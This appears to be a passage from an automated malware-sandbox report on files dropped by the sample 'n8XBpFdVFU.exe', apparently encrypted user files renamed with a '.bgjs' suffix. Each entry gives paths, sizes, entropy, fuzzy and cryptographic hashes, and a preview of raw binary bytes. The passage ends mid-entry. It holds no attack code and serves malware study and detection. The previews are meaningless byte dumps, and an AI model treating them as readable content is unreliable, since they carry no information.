Preview:	mozLzK..{.@z.........2I...!.:#(Ck.0..u.B$.l...'..%=.....).^..@.Q._x..u..W..[....k...s.GJ..D..hSpv.2#\.=.=Dv#.>.&.G......Km..(gS..K.}R.o..5.G......RW.8z.{...Te..\.......F...:T... .......R..w=..2....D.... .ixe...=..u... ...H..\|5.....;+.-2..+...EJ...v.7N....T...H/...c...UB.....6,.j.^..N}.h..A..Rsd.@m)9.._..{.$........m...P.D.....N......].7.....D~.(\|..P.R....z@..Y......_..G..j[P.....)=\|.2.....y....Rf).\|.07......Zf-R...W.....^z.'.JF....V...QF;/. .%.."..u.. .\<../.M?.\|>.icJUDJO..alp..=.~c5.:...Q,....G..G.]..k....>$\......L...nS.\.>.N..<...'...mk.V.P..)..e^.y..SZ....>{WG..c...c.%j....c...\.M.....0.Nm...c...+.......)#@..\..#R.F..........N......!.P..6..fJQh-......)..5H..d..q...4x.......B.m.M.{......w.P.....l...G...P..../;.[..V..<I..b*.....A.H......ku..@....mJ..2>...f[....JO........tV?....,.?./"....J...`..7.h63....x.^+q......a.^..0$G..=...W.I6?...8Q!G#....\...T+..39..o..{...I$..A@H.6O.Oq....&..%K+.k....)..Q...C.UX.Z...b:..sj......b..pF.I

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.9567564679681375
Encrypted:	false
SSDEEP:	96:+v52UJmodl3VEW2NaErIhA7wCLypl8GSu+Tx/709+:+vMUJvdlZdGW3CLC8GS6+
MD5:	9DD3B78D36A65278FBBFC5E799A8F442
SHA1:	BD471A76B247B658749DDA9931604AC499328EEC
SHA-256:	55A2D3911F5CE5D27C0F9AFD74326C4E4A6A470F0BC730A33DDB33B827B19307
SHA-512:	DEB78F39C614873CC6B6E88432102062DAE85CD854774EDA3E19F9353C7925BEE1C800D0FD9B93BE998B590798E43A6ECB7D31CEB38434FFB9DF8D685320AA65
Malicious:	false
Preview:	mozLz..b..w......=].M....M.DsU..I.p.=.zG....6s?C!.i."....{..F8 -. .H.)M<.;.{..^k.0.~.,..LD..=.p...d#.x$.H.^..A.y.>.o3f.........f..\al@..=..3j..W.I.U$.g.H+.k>.?Y......(.....Amp...[..%...l.....j.sI) zK1<...f.J.?.?-.R.M?_.U<.a......q-S]!...........,.TI...\...".l.Y}.J.[.)."$...ly.h.O...C...l.. 9...zr...Z..~m.....AAE.].....;\|.....R.LS\|...........@R.......~=w]pi%.Fn.......FK.......x.\|`-..tOu...E../~5@.1.... t]..s...b.Y...(.G.g.g.p(...D..6........z..LW.... ..Z$./;...X'9Y.....1.qNa\..1Z/.S..1N.gdV.\"@.NX........0..f6.-.....5.....>L.eL.v.`q...$G_..6...+.[..zA............AA/V....[...e...l$?.<.x`.M...CZ.L..o.S.X.......h.?[.._o...I......0.Y.....Y.....0g:.c...4Q@y.![.LX$.C...SW...O._..D.\..#..O.KO(N.W.{Ig.C.w..o...).....HM.......aP?.4Y.....o}..w@.R..+.d......G..m..\|......f..{......_..%b.o.@>....`......{dA..oI........AP...+=.0w.....Cvq3..)=..M...OX....>c..i;.*:.....Y.{..\.?.......~..i..-..rQkX.4..u...[..z5...W2...........q..(.y..f...

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.9987433391428056
Encrypted:	true
SSDEEP:	3072:wD30VM0msjcXkVv0Tke+mKNWuIol6c3d/XzugYAR1zWLBV3Ck:i30VM0msjwkV3e1owMvzkn33z
MD5:	E5A94CE0AE054D1AB7DA506102CB353B
SHA1:	4BB72FBC6DFED3A4CE6FBBC5D174FB0BA2ABE55C
SHA-256:	2450ABBFF22304F092866000A9B912388B84F80B61AAE87D6EB538771F66F8A2
SHA-512:	1CE1FC4F3BD82E00D71FC7360910C9250DB41AB7ABA139ABD2294AA0FB729C4D627608E666133F5C65A8DB749916B429573B89C5955BB17F1F57C76677FC3645
Malicious:	true
Preview:	SQLit2z..f.....P3.u.2sf1l...Eb2.;7..n.s.tx.V..C...5......I..4.F.8.R.K......#.9......f......a}lC.,]p_?...y..6..."..JQ<:..".fA.4.%H.{.N[.....)\|s...8n.qU.e.../...>ue......Qj....a^$@.....Z..}x.........el;_/5......L..Y.06..f....#{.....q5.....A.....&.W.l_...6...~3.G#.<....NLeY}...E..[J..1._.5MU.k..l..?.V.......F.=.D..:..Ek....fN.X..K.X.R...U..j..(O.[..J\0..;.Vv...s....7....W.V. ..P....4.[d...8.x,.;..ZXFD.?...........&....\|....N@.G_...&9<.r1#a...r..!...z/....x.i'.?k.....Q.g..@...!z..Fd.....V..8..;,.]..J...#c.Y..>.k...)&...EK.}....A...'..P._...\|hyz.......WI.F.Mj>.+b_v]..i....klgJ.f....`..V..W&.;..U+...A....P....:..F.....u..oK%M-.u\.#M...).-....^........??..>..p_......p5...`.}.S ..S...hq......]..B.....]..i!....bH.BpJ..\|.0..r.{.D..d^......>my...m..\|..u...-6_...."g.....gj........\|....L....N........<.@Z.......$.}.:<.Oe...(....a...'a.$.BE.6......8.?.....=^@{..X.Y..:.....fL......o.13X;.i\|...t.M..%...}.l7..=.x.^..t........p}!f.V...{..OlA.V..y.B..~...d.

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMDocs.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.272990398738826
Encrypted:	false
SSDEEP:	6:HYM1sGCN7lfsfRCihqE/CuMbf5qiBo3z09YmFeZXw6jvLEbCB2VR6VWyc3cii96Z:jstEfBhqE/obfv0zChFwg67g22VR6V14
MD5:	8EADD7D6CD3450F8B0DC89947A7BCE40
SHA1:	47134B6A1F1DCD829686C9FD3649409B8CA5BA0D
SHA-256:	D723B717EAEECD1AE438C5BE259FDF942DCC3BA4087DDFC118E0CE1B81E352C0
SHA-512:	F3E781AE699A25AFA95A9E9045789522E73CBB77F59BB71FE0245DF2BAA28D46726641760B28602C3C7B6DEEC5B53D329F8DD812FA44D05F8D5AE1B2529F3B9A
Malicious:	false
Preview:	%PDFT.;..T...$M..$o..`i..\|..W9O....eK.fN:o.$.;.H....x1.<...L......Y....?.5:A.\.c.i..OjT.2Xx.rO..[.K.\.C%...f.....M.3.g...e9.R.#HA.H.k..t.o...DK!w.Bmr^...f!.+G&>`..y.I.}k.J....S.h'..?J...7..%..lH<.D;K.M ^uqQ[..".{..L....f:...Tt/.E.....\B.18.E..nwv....'..S.'....;8]8.<..sne..F*1.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Adobe\Acrobat\DC\TMGrpPrm.sav.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.387015769192633
Encrypted:	false
SSDEEP:	6:Qu1dTZOfekxxIRQUY/qtOVrb0/oAahzjnQ13jOmVIDWh6oEOM+fWyc3cii96Z:QWTZOfe8CRw/cz/oFgjOqM+f1+cii9a
MD5:	87E7E343C1370D181D15D7E69C89DDC3
SHA1:	82FBB4A9797F4B868C0F6894A84186592604D504
SHA-256:	F58FABD973A6BD1A9145C03E3FA9D3CBA0FB507B5BF1CCB3987A155DE3B3E31D
SHA-512:	0601129B25910E30936277EEE5C29832C6CD0657101C6FD13204584ADC6A255A84C65255DB60204EF6042CBB8285C44E94927889906CC050167D3FCD83BB13FE
Malicious:	false
Preview:	%PDFTY..."e...1...E...w.u.zNz.d.....'z..z.x.X...3.t>k.9H..)+.)v.. .F)..).^..._,..\|].L.BJ...F.........,."....S..Y..[X..~.............e.P.}.u2.....wk.....?.E.(..:H..dISPi.ej_\|Bh3....I(....]J.6GS..:.H.H.x......<........U-X.+..^{2...../..0`.......\..Wn.[.TMV_.se_....pR[D.A...]A..s05."3....Z..a..\|.DSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Application Data\Microsoft\Windows\Libraries\CameraRoll.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.864610507456059
Encrypted:	false
SSDEEP:	24:LRYU/qkTK+TxcKoBhuvR8XLSz/ihZv4e/ev8+Tv9aWl5Pmq/XPbD:aU/XT7uKIX+zG54e/x+TFBrjD
MD5:	A0B8B3330CCED552F9FC10CFC285ED45
SHA1:	794B5C12D9E4445EFE04C1906E0A787E7575E92F
SHA-256:	53C7E54802B21E3BC0315FDBB27735DA4E7E4982C56B61FDF6DF95B0CAC8E8F1
SHA-512:	3263A675DC4A664B3B0F3FB2555E3AE64194E308CF42D005E6A7811528F7B3130CDF6F33799EE897C30D4D2AE5709BCF8AFD81087E2635E76D43FC291E22D9E0
Malicious:	false
Preview:	<?xml... ..{...Qq.WV.....^..:>....E.}.{..u .'..j>.K,.....f....c..F.3.U.4 .g.....?.....L........R.W..V..3.S.,.........\1.<.i...,.7^.p6....Q..U.K..f)..Qd.yr..Y.~. 9.z.....~...>w2...3..O.w>....y..8.^..:v.Z s)S.....e....s.%.....$Zv.E..ao.Vc.`.o..Gt}..e..`A/.G.... ..8+.l.z....,r.L...P..s...)....+..}..S.t..T.n..~.@.q-x..n......~..+.].fBHOaa..x..Gs._.r....#z.\|._aF..p!.ppQ..L...."nI%[?....b.oB....+.\]dQ[...[R.<..X...-0..5....b(.b...^...?`\..;..k...L{#.h)..\.f.^..)..I5.y...wq...N...]..i.A.&TP.N.{K.R-.....Y....GF..e..1.)+&7....9.u..-.{........=@....#...y....mz......;3..U....C..%.1...h.nt%Of.6G..FuKY.~L.p...#......t.?X.q.."...$...~.]..r.W{hJ_En@..t...z.i.I..g.....T..24.....5......w.l6u8..L)g...).@..1...h...t....B=.1.6.~....4...........s.$..U.........}IJ-<g7J...!...B\@..o.4MV..Ko..-m..4P......N......`.....Mi...[.,}K^....n=O.........q.l.. l.6=}k_Us'..>/.5.fR...2L.........[..p.m...._..V....DQ..E...p5p....E,..u..M..u".......8.D'&./a.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Documents.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.917852708885936
Encrypted:	false
SSDEEP:	48:sF9mU0Y8zoI5JhYhyqEcoV/MTG0b/mWDOHMyvEAqtGeVsXU917D:imD9zH5JhYhyqDzTG0Vo7vHqt/Ku3
MD5:	9AFC66C1D9029FC9D13A1DF16C4376F7
SHA1:	C3C6871C68CF424D40D042DB803DE876D5B0D358
SHA-256:	F89A230ECD779C6423067902854A25478D74EFC4098743FBA7839C3FDB3BB4EC
SHA-512:	AB7DCA24BD7C04AE9F295C44FCBD906C72756F35E59800BC7F2F4C3D22B15F92CEDAA755B9F36F776D05506E634E116B489488F4F186D8BEEAE6227DC6CA505D
Malicious:	false
Preview:	<?xml.8...]=lK.M......0Ntr....~L...P.4........}r.........[.q.@........_...Q...ml^qq.R44...N.....J....4...NLVf...Q..WS...j.....t.s;...5..%.......h....:..78H.m...y..v...B..b....X6...Drhd........$.,...;gdH...c..u....n.;.....W.H......(X....9..2.x...dv'.........Twy.....V.Y.yGl.Q.7.....qm..(..MI.R....^...\|.u......2t..^.lP.`.Q..Y..+.P3>0.m.$l..o:...>.._....G...+.k...C.~...J.2cf..MrE...Q..=.N..b..dx....%.h.2o."$....n..2.e..e..e.^.h}..+..0.....VH.?.-9.....\|..Ty......5..2..ELg..FG.:JcdvWz..D...d?. &c}..r.K..Yb...\..0..s7&hf.9\|mW...........b....@..O.PD:..Mg..>W...Uw9..j.....HT.P.....1..{..~....Br.......b..IO.X.LcS..>....!;T'..\+..yX[...F...?.<X.....[...h.K.%.Q.o.5sM.;.;B.....{.3n.........&.pH..8.f9.....bC.Y.]H.f.w..."NEq~",.?....%d.;..Zd..Y=..{q.d.......u..D.h............^...Y~>.4.h.w4...Y...N...(..{...b.....5....7..^.~...O..Gv..B..I.U.lzU..=.Z...I.1V.G.....\{u9..;b......'m....>....7l........X.98'-..m^....4..'..(..\.$.y..v,....{[..O..,:..8.

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Music.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.921166476657058
Encrypted:	false
SSDEEP:	48:mKIglfotlH2emsdt1ACplkgSqqcZPvnZyOFnTvCy1M471D:LE37qCwZITFnzCM
MD5:	594E34BD919219C53AD1C0F262DAABE9
SHA1:	EB43436F142BDF95D87A5DFEF6F6666C476725EA
SHA-256:	768029ACDE5554A6578CDA69CB083BAC467A034A58CFD520DD1420550C672505
SHA-512:	31B8D29BE18F5DEAA354B864A352E42A467CA5414E1BDE544BA4A094910DBC03CEACEAA5847F10D6A2F3CB268529A59454D7389DC021FE8F0E68338692B349B4
Malicious:	false
Preview:	<?xml.\.J...+t.h...........FXT...z.P..].g.K..\|>.p..R.s.`.L]..5~...mA..Z....`j.]:.N.wR.I.Q.b)....0c.A....v..m]...`.S.r..5l^%.s.P....8.2.........L/................s..~n...P.t(J...\,..@....T...S...~.......A.+.Z.i..\.f.7oFE0.....VZG..../..&.=I.........@...=...p.....TE...X..........i.....M.h...md....r..Ik.w........6..x..a.....V.!(.....7.....E.P....k.S..@$..jp~h...:..xb.`4...yxX...B........b. Cg...9...".G{[.9.E0...V.../..Cm_.".}CW.....R8#...f.v.:>...0..U...?.........4..:.......G..T..Ii.c...Z_H...A....U...PcS..a.E.o<.Q.. .T...:.`...3.=...o .l..e..m.T.G.I..o.f...R..'l.p.jn.to.5.K...........FS.f......].Fd.I.g..{hQ#T...z. ..0.../...M..K..\|.s.l.I....C......A.G.f.s.p...dT....B.jr.yef!wTT.(.Z.F.O]'...'......)....>........D..s5.S.....y.>..'..~.(..6..W.V..k-.C}.....T.2?..;.~\..Pw..kq:V..%...l..#.#..L,..114,..x......Y.Y?._..t.....'.....f....M..4)D.g.2.....8....."%f...1.2V....Hs.8.".$....@Y...........N.....[..._y..i$..3...*..KJ

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Pictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.909369983939235
Encrypted:	false
SSDEEP:	48:YQq43BjAwXc3do3Fq2bTe4mohUi89itk2iBLuDY/Io6JAQD:Lq43B0wodo248mkFBSR
MD5:	37AB775E9FB9635D3BF023A217FFF12E
SHA1:	24A4CC505737A2906D17F774E5B9DC6E64B1A5C4
SHA-256:	BC44766E6DCF08849CCD954D6B9322EE44194D5951193A82FA88482C8E271C6F
SHA-512:	A4C1B52B0D4982644F617EE07843AF2AAE4306A7C0086C1840BCB218730C9C8F7F769F226D8A1E206A3973147FB2CB96EDABB449EF4B49C17A65DE0180E67925
Malicious:	false
Preview:	<?xml#...x.Z.c4....n..D.u.E!.y.........P.Vq...O.H6..u.... ZN..a...@T.....Q.H...Lfj@.e.....$'8>hp..!yv.......r...P.{.<.L.-.#P....5\..wGe?:.5..{....R7m.....h..._.i..d.o..`.S.4.(.,.t#.Y)..)..il..<.Sef.3..AlN.......z#u^.SO...JUhL../..FB.8. ..F.....@^].J.m.....SLE..Ua....H0.w...a....n2...sP.....Q.c.........15.....D..O..EH..1......?...K.<.z.......n...fl,..C..N.:....8...S..82'Z.X>.5...D.....n..."..&-S..x......9...? ..9lE".!..y....A..4..}qG.ty....x..e..m...D-..y..n.JJ@4Z...%.\..... ..4.!..h..J....;.0..~..k........F .`M.`,X.<........Q......<..~....G...*""a....s1..n..E......... ..S_.?.....RR..`.s.....Y..:.OE...R.Q$O.~,..A...G.._.f....J;@...."...%r...O7"p.}...lw. .;8.i=Gj.Jw.&0..u......%v...R.{...&...}#I"......<:.......dj.;(.g".!.....]..6.....B....z.O.,.....vIv^......./M.Oe.....sS..#.(.X....../...U...x....k7..O. }..O...Y..t.O....F...n.i....X....-K.".....p.S.WW...c.g.5o.............P ,.<Iu._.../7}.....^.......@".F&u..y.\U.S..l._..u.4..C.yg.s...

C:\Users\user\Application Data\Microsoft\Windows\Libraries\SavedPictures.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.860942203828026
Encrypted:	false
SSDEEP:	24:CJOX+tVLsV+93isLn5gpE3YS6e9Zsbq40Pj4oQQYD2D5xYxgHULL7GForEOXxEbD:ebo+dh5gpoYV6smlAqD5ygHUP7GiZhOD
MD5:	CE224E843F1882DEF27C9C1FF6B9A849
SHA1:	B588B778A604CB8281D1252EBA96F8057CDC15BB
SHA-256:	9717A8A64D8C62B94D65243C78B58F5552D502FFCE7C2C42ADB60A6EF85ED56C
SHA-512:	12B14205508940F615304460FD722925B1C9330CF440BEE97C30DC946EA731053710EAB0EB34228CEB777169BF633FEFFB36C1CD972B5322B83A8294A0FA39DF
Malicious:	false
Preview:	<?xml....Z...g.!..m.W1u..2.<&-.M......J.njn...Fd....../d..."..\..>.T...y....B~.MWb0...$.;.I....O....]........ .4...v.#.=....<.N ...m.\|.....u.\..}..RZp8..\|...hw..=fy.....h.z.A.R..a.;.[.....Y....4..8....i...U.).;._.....}'....&um,..&.+.d........XJ.a#j^.&a..>)..p^,.......@0.i...x...,.k.M0.]<....r.=.A.F.k&...T.W.....51..Q..~..UOZq..'.?..._.T,.[w..B....,T2=&Nc..P..?&....Cl...n...F....o....-9~..c-...D.-.F6]p...jZ...t..U...?[.z4i...b.HVT..L..aKo..#<..-..'Dr.U.q._...9.Kq9..l...0{-y..:...\...F.\......!.+.........Z.M.[..k....s.%..E...+>"..-...&...O.:\\{.9?.P..8T...../dgr...4,...tS.x....\..X.m..>x2.X......B........a..,.Q...;5.kO.S^.....?........E.x..s.xBA...WR....w........R...6.......d/.q...3..8..G,G..a.m.\.rt.2.3+.....,..3..y.k....^..,..L{"B..Vm....O2p..K....8.....$....I....c....._z......c.!...v...q...k4.]{s.UF ..Z..7g.$!T....Z......[.......J.oxow+g.............^I....1fX~.Ca..w.k.-.ys"{...;.Q..P!....\|.o.5..!.3L....Z._...]A..`m.vq.r.........U...$

C:\Users\user\Application Data\Microsoft\Windows\Libraries\Videos.library-ms.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.92144836763529
Encrypted:	false
SSDEEP:	48:5JaXCOwdqZ9KUA4yxQyKFpdOIk9d6tbmDJW9dIk+fD:5N7dqZ9KU7WQyEpdO39stbwW9dIbL
MD5:	FA98B1A465581FA9B8E170F095A6675A
SHA1:	4B748F8134E3F962FAE1C2D036C9855DE482BE26
SHA-256:	5C81F7D2E064C1462EE888D1EFA89F4343C190244F6CE300DCC0A60BC3D6461E
SHA-512:	DFC51A23B856ABEEF8053AACE59E79309FE2AF72570F9CB9364773598DBB80A5927A2E9ED8C2E7F4B740FA393518356C1CD30A4D03FEF7F61D4F02659FC21205
Malicious:	false
Preview:	<?xml.-C.j`.C.OO8:.}.....\...R.9.v..=..20...B..0....2....d .w.."<.. 0.s..KJS......TS~...;i...L;...............3.S....$.P......S.w....J{...Y.......d`{...?P.=.?...?f.I0.......<f.F.G.pab...Y...MR...Y...,.......U..........8......[R)+..I...'......kV..MjG.v.....Mq..I..n8u.0.{a...M._.OxCw..i...V..M...A.h.rZ.v...j9.....:....(...c.B..G....[...6L).....p.X........b..7;.S`..W....~%?.y2.x..+.8.Vy.J..\.....m-%...kP.0..m....l`...`.>]............L>....?7.".c...Q.."\.)..\Q....13.>j...).........o..V^./.....3.d..Da.Sk..\|..U.y7.i7....u...6..C.r.5......a.(...$.}W:\8.X..<y.......[...T.t.k>..-.HJ......>Vo......./.=./.x....FWqQ..`}X>.sO2....^..@........E...z.As.Y...&_.........b;KA....w.~j.R.v_pd......#.F/?..&..i.H.AK'IU.....`.atW..ppKuC...V.....J..oa .DQ........7.C.d.LJ......\|$Xq(.~...n.Q?...U..*,}eJ.z".U~.;.HBq..s.\|.<....M..0.F>........1.=......s.V.W..t..q4.......%..j.P.2_.Q...n$...v.f.>G72..s.....;RS.....Ao.....h...X...W.e....deA...._.q3.

C:\Users\user\Application Data\Microsoft\Windows\Recent\DRBXYKCKXO.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866372383774557
Encrypted:	false
SSDEEP:	24:4mkx+RMPY20SipYmCUlAx4lEw44aDL7sYe0fIX3zhcrqSmKGOGYX9t3GmnkbD:4mkvP8b4hLNe062AtqvuD
MD5:	7405568EDCFA328FEFB32A11E016A24F
SHA1:	FC6E8DE42B81A3C3DBDE80CC095A2EB1601E2D57
SHA-256:	E404FE2C387C0722BD21BDAAF6E9ED140E932EC09BF1B9EF63C1733DA94E0725
SHA-512:	4FF785CEF978F0F421C6D3A047D9EE6568E239196DA6BC082C4DB7F7295239AF253475ED65E50C15C0A1AFB55DBCB2AAE8814464F64EFCB14EE8D2ED7775DFC9
Malicious:	false
Preview:	DRBXYvU3.2F:R>P..@...^..i.q.{O....w..k.k..k...+xv.71......5....6.....?..<..s.L{5..t.....m..\|.k^.B.+....=.a..i...)#^.. N..{b6.....fO..:.1..3R.YT<.S.....%..`.....C.]....`4[..i.B.>W...........cUK;...&..SZk.iw.F..s:....._..K...H..9.E=.o.e.....V..Q...9...E....J...V7?u#...G9FaW...{.K...s./..\T...........6...e.>.{..@3K..N.....m5.....R.krd.].+!..#TJ.U../;.>i.a........F....0.(...'>..a....fu..y...,.pI/.ScH/.........%..\|..............Q@.tj....q...w....M..p..&17....R..H..h..b.. .O..].b.F....rg.`.UM'..M..W.s.E.s..:(..e.D..._..,f.f..c..G.&S.J....Sdv.)...}0....LHd..%....Z#...k.^.@K......m..C.....G.". !../,.XBY..<..........OT..].q.D.................5"Z#...M..z..!..`...}...U.........o...&.)P.\|z+....)..Lt.....T......5.....D&w;...\u+.....=../.aT`Sj.^}...}..m...h...s.K...\|.E2...m<...,&..H...=....K.7..(../.`.5.(..R....d......8.`.]...K..A...j...\|/..n....6W=...F.).A.;.U..x...3Z...C...?..!.h/..{..]Ia.w...#.)T..[*N.<..&.W.....y...._......R...9..o... .

C:\Users\user\Application Data\Microsoft\Windows\Recent\DTBZGIOOSO.docx.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866075363110685
Encrypted:	false
SSDEEP:	24:gf1bKXWfQ1KAFF7YasEA+uEdFqbgKI75MZChXMDB97XB8FbQvB2KncBkimxFbD:gf1bKX6BCA+u+FXNMhD74mB2KnDimxVD
MD5:	7F52382BDACCC537ACD5CFAB12449344
SHA1:	FD67740D0A9C5D2CBC501FC24342E739A3EE41D6
SHA-256:	279DD0A6AC5CC276002C56EFE3546871814E5D82A7162990D9B4F4941A735D2A
SHA-512:	53452EE54AD77687DC411CBB1C7CA8BC01B1F60AFF1E57EC2D2AA910BDDD686787D25098A85F0DF131928BB473E5A383DDFA9A6F45303C4AA67338601A761B1C
Malicious:	false
Preview:	DTBZG.C`@..'.R.xDj..%Ah~.Y&.9.(....f....... 7.b..r...../.Rc...-.k..?K.}i3/8V....:.T.My..?...G....Y3...... ..Y-5......q...D..)..../....!.oC.;...%e.6.6......X.NK].~f.S.y._.(PH.F....<...~7.......U.='....5...@......oJ.M./...w..g..mF..}.B<F.D..]'kX..3...~..P.5...%..g.....C..n.. ...W...?.ON.EA..f.....2..a..^I...A.2../.W.........83.4..K....=.H.c..\...3..a.@.N.8:}.....(...:..=...,g}..hC....f..xt/%).....n.L........^.L?Y.'...!..;.sL`.c....u...(../.C.\|..........(#.y1.h..p...P.;!..2.g3.2UFZ......d.r...Z.xc...g:.&..._L..\|......3.Uip..%..B.v.Khi..:..n.Gr......]M.3v..R{nL....B..g.`i.R.....+.........R..J..I.(...[E..Q\|6.0:..0..\..5A.oU.F.....&Y6^.d.2..r...%$.........p-..s.by.6:l4,.rR9.VZw.E[W~....gp(W...`...n.A}.Y.....-.^...&..N&I.....H<1.6Yf.2..b.].k!A...A.Yf...(...\|...K...#.k.!.H,A.b...D...u"2...SE.."...S..eM%....eoN..[s..Kv.k"..>Zt\|../tW9....F..\|7..x.<n ..y...Wu(g.....P..C....y......s.R.1(.1..V.gH.^$4.I..;.s5...Z.9.\|JH..y.....J\|..aA7JoU...x..

C:\Users\user\Application Data\Microsoft\Windows\Recent\DVWHKMNFNN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.851359950760779
Encrypted:	false
SSDEEP:	24:qxBZtijo9b87LFdzeoTPO2ErgH54EONlfmxUCiICK3+PPdnbD:sw7r62wi+9NlmxIK+PPdbD
MD5:	C08E96FBE73E898BDC9C58DCB51CAADC
SHA1:	3A1E076B6CABFC903C63B2F69F61F8B466A1FCD8
SHA-256:	6C027E779AF6A69455325A5E255BB2275EC11C5D0711C90D626F616F996E6B3F
SHA-512:	D9CED8F07C9D5F66C9446031D57CB6C831CEE20447128BFB75370D7A1776E45BE7ED35AA776D6850E6067E1B0AA9D5AD7C303418594962D44C7CD41D2A278D95
Malicious:	false
Preview:	DVWHK0n."..xg.'"...=..`...Z"..4.c.OA...9...$..(..].A.n.&.`...?D^.D.....WC...!.:..g......6#~...>.RK&.o........)..'.U...j..f&.YLK.G.W...F........y..D.....>.U..>.g....E.X..o.DF.0^.^.....S&z=.+.....,......-D...S6k....pt.yA.Y".s8.7...U../.a...W..._...&F.o[.SP...Q..p.X....P....>).....#...j....V$z8..7..d.....F..5.]..O.P..0..&.x..8gY.)..'.....;6...\g<P.F3..O....[w.~k.H9#.Lz....;x.....I.9.6r..Q.ai.S.=....G.Z ...Pws.k..e..v.....b....+.h^..#!........S.,.?..8.....,..#..m....T.+.P......$_....@.>.`K...O.........2.~..'.X.U....AnlD9.".@ >}.:.+.T....4....]..O...Z........)Z.q.'..b..c..k.."Qi...3s.P.T?.;Ou&.D...T$Mc......X....~..$(..".......e..d...[.).C.k....A.-..pwI T.RMJ{.D../%.d...\.....a ..%..."4.B...J....~1-..^..O.T...J..Em.9~.q+,..jp..R.!so...=._\|.K.c..A.9..g..+iZ. /../..>k..E.C....&...Lut`db.....c...pO.m........#q."....C.%.K....1........T&..V.ig....U-...9 H^../-\|..!k>..7. .!..y4.%..e..\.o.H...........~.....A....R&...j.j.59...>....U....

C:\Users\user\Application Data\Microsoft\Windows\Recent\HYGZTMOBZN.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8546021169659035
Encrypted:	false
SSDEEP:	24:y6YG7lEPKpSRd+RQka/hIzhwYRi7Xd6HqgRAxtxXixGW0A7+U6AbD:wCEPKpJ6SzeFxw+xbiH+U6aD
MD5:	77BF7ED50AEA5701130A182FB3C6C084
SHA1:	CE887B2CE2D01F1A1E6077A4C172C26E37F73B5A
SHA-256:	0D822C7BE6D8599340A1EB22ED19C8C5329958257D40F078CA524E8980C85BA2
SHA-512:	AC6094B87A16E176F3ECAB390F8D8660B4F998B6E9549401A0CD74E42465AFB1CE2AE916EBC54C2C89DE9F8087AF2AD80C7D37A7DB932C66A679A60497A3CD38
Malicious:	false
Preview:	HYGZT7..T.%T'.tTD-.......R...i...m...:...OJ.Gj..TtM...%..F....9......W..............B..;...N6h.(....gGz.k..-..F...u....._-.U5.;...b.V.`.mUQ=-#.]}..)........\\.d....K...<...../.n.....b..>...tF.8.hz..h.....).7.&..!.;7.%.j..Ri.b.....X'j..P..+_.s..1..m.....m...1......x.#.jJ..<..C.V....?.4...sk...`.5...o.7.o.o.qg+.........."......_..t.mxV.....c.B..]B....X7g.F .zs.."G.....qg....E........t.<..j..},..&.UQ..3-.G..Y1.k9...`.t...{.....$.._.....,..v.M\.r7,.....]&.22.N..p..4B......e.s#..J.z.!H\..]C...L...C...Rh.B..0..r..H...K}..].^..V.(.~.{..e.=+..i.+.....t..q..q..t[..j..1O#Q..t........U.Cp.H{~.....f.M.]..:.A!....j..l.-.Nx..u..=.O....sEg..`.o .U.{....%..Fp3.l....S..IG1?......g....5.Uj.Y...5....,D.kc.1.G.....v..X8M=6/j"..wLH...3X...a.Ajl-..WG....P...-..p.c.v!.O.WL...../.y0.......f.q..).....@r+..t.&n.t..d..0T......i.oE.....h....68.`..\|F..Q%G<......bmA.......Bt...'.%.yA...hQ..W.\.V..G~...........0.....=...5`V..>..-..O.....f.y?....L,..~%..O...._g.

C:\Users\user\Application Data\Microsoft\Windows\Recent\HYGZTMOBZN.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8619980796089965
